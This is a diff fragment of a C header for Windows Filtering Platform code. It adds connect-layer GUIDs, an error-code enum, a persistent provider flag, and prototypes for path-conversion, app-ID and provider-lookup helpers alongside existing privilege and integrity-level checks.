+// c38d57d1-05a7-4c33-904f-7fbceee60e82
+DEFINE_GUID(
+   FWPM_LAYER_ALE_AUTH_CONNECT_V4,
+   0xc38d57d1,
+   0x05a7,
+   0x4c33,
+   0x90, 0x4f, 0x7f, 0xbc, 0xee, 0xe6, 0x0e, 0x82
+);
+
+// 4a72393b-319f-44bc-84c3-ba54dcb3b6b4
+DEFINE_GUID(
+   FWPM_LAYER_ALE_AUTH_CONNECT_V6,
+   0x4a72393b,
+   0x319f,
+   0x44bc,
+   0x84, 0xc3, 0xba, 0x54, 0xdc, 0xb3, 0xb6, 0xb4
+);
+
+typedef enum ErrorCode {
+    CUSTOM_SUCCESS = 0,
+    CUSTOM_FILE_NOT_FOUND = 0x1,
+    CUSTOM_MEMORY_ALLOCATION_ERROR = 0x2,
+    CUSTOM_NULL_INPUT = 0x3,
+    CUSTOM_DRIVE_NAME_NOT_FOUND = 0x4,
+    CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME = 0x5,
+} ErrorCode;
+
 #define FWPM_FILTER_FLAG_PERSISTENT (0x00000001)
+#define FWPM_PROVIDER_FLAG_PERSISTENT (0x00000001)
 BOOL CheckProcessIntegrityLevel();
 BOOL EnableSeDebugPrivilege();
 void CharArrayToWCharArray(const char charArray[], WCHAR wCharArray[], size_t wCharArraySize);
+BOOL GetDriveName(PCWSTR fileName, wchar_t* driveName, size_t driveNameSize);
+ErrorCode ConvertToNtPath(PCWSTR filePath, wchar_t* ntPathBuffer, size_t bufferSize);
+BOOL FileExists(PCWSTR filePath);
+ErrorCode CustomFwpmGetAppIdFromFileName0(PCWSTR filePath, FWP_BYTE_BLOB** appId);
+void FreeAppId(FWP_BYTE_BLOB* appId);
+BOOL GetProviderGUIDByDescription(PCWSTR providerDescription, GUID* outProviderGUID);